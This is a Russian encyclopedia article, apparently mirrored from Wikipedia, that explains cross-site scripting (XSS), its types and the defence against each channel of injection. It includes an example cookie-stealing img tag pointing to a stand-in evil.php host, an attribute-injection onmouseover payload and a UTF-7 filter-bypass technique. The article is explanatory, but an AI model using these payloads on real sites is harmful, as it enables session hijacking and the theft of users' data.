Межсайтовый скриптинг

Межсайтовый скриптинг

XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип атаки на уязвимые интерактивные информационные системы в вебе. XSS применяется, когда в генерируемые сервером страницы возможно внедрить клиентские скрипты, но не только. Специфика подобных атак заключается в том, что для атаки на сервер в качестве средства атаки обычно используется авторизованный на этом сервере клиент.

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».

Из статистических данных на 2012 год XSS составляют 26 % и занимают первое место среди остальных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.

Содержание

Классификация

XSS принято классифицировать по двум критериям: вектору и способу воздействия.

Векторы

По вектору воздействия XSS делится на отраженную (возвращаемую сервером в ответ на тот же запрос, в котором был передан вектор эксплуатации), устойчивую (сохраняемую на сервере и доступную во всех ответах на один и тот же запрос, не содержащий вектор эксплуатации) и основанную на объектной модели документа (проведение которой возможно без отправки каких-либо запросов на сервер).

Способы воздействия

Различают активный и пассивный способ воздействия. Активной является XSS, не требующая каких-либо лишних действий со стороны пользователя с точки зрения функционала веб-приложения. Пассивные XSS подразумевают, что для их срабатывания требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке).

По каналам внедрения скрипта

Отсутствие фильтрации HTML-тегов в сообщениях пользователей

Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги <script>, которые будут отправлять злоумышленнику HTTP-Cookie пользователей, открывших некоторую тему форума, или незаметно открывать произвольную ссылку в контексте браузера пользователя.

Подробнее:

  • Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий», посылает комментарий, содержащий тег <script>.
  • Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег <img src="http://example.com/evil.php?cookie=1234">).

Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах

Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Например: подставив в качестве URL изображения http://example.com/img.png" onmouseover="javascript:DoSomething();, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.[2][3]

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Для защиты от уязвимостей данного типа требуется жёсткая фильтрация как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.

Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHP-файл, содержащий как само изображение, так и вредоносный код.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ".[4][5]

Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.

Прочие

Возможно использование XSS атаки совместно с внедрением SQL-кода.

См. также

  • CSRF

Ссылки

Примечания



Wikimedia Foundation. 2010.

Игры ⚽ Нужно решить контрольную?

Полезное


Смотреть что такое "Межсайтовый скриптинг" в других словарях:

  • JavaScript — Не следует путать с Java. JavaScript Класс языка: мультипарадигменный …   Википедия

  • HTTP cookie — У этого термина существуют и другие значения, см. Cookie. HTTP Постоянное соединение · Сжатие · HTTPS Методы OPTIONS · GET · HEAD · POST · PUT · DELETE · TRACE · CONNECT · PATCH Заголовки Cookie …   Википедия

  • XSS — (англ. Сross Site Sсriрting «межсайтовый скриптинг») тип уязвимости компьютерной системы, используется при хакерской атаке. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в… …   Википедия

  • Xss — (англ. Сross Site Sсriрting «межсайтовый скриптинг») тип уязвимости компьютерной системы, используется при хакерской атаке. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в… …   Википедия

  • Уязвимость (компьютер) — У этого термина существуют и другие значения, см. уязвимость. В компьютерной безопасности, термин уязвимость (англ. vulnerability) используется для обозначения недостатка в системе, используя который, можно нарушить её целостность и вызвать… …   Википедия

  • DoS-атака — (атака типа «отказ в обслуживании», от англ. Denial of Service)  атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых легальные (правомерные) пользователи системы не могут получить… …   Википедия

  • Хакерская атака — в узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер». Хакерская… …   Википедия

  • Фишинг — Пример фишингового письма, отправленного от почтового сервиса, запрашивающего «подтверждение авторизации» Фишинг (англ. phishing, от fishing  рыбная ловля, выуживание[1])  вид …   Википедия

  • CSS (значения) — CSS аббревиатура, которая может означать: Каскадные таблицы стилей (англ. Cascading Style Sheets)  технология описания внешнего вида документа, преимущественно использующаяся как средство оформления веб страниц. Content Scramble… …   Википедия

  • Уязвимость (компьютерная безопасность) — У этого термина существуют и другие значения, см. уязвимость. В компьютерной безопасности, термин уязвимость (англ. vulnerability) используется для обозначения недостатка в системе, используя который, можно нарушить её целостность и вызвать… …   Википедия


Поделиться ссылкой на выделенное

Прямая ссылка:
Нажмите правой клавишей мыши и выберите «Копировать ссылку»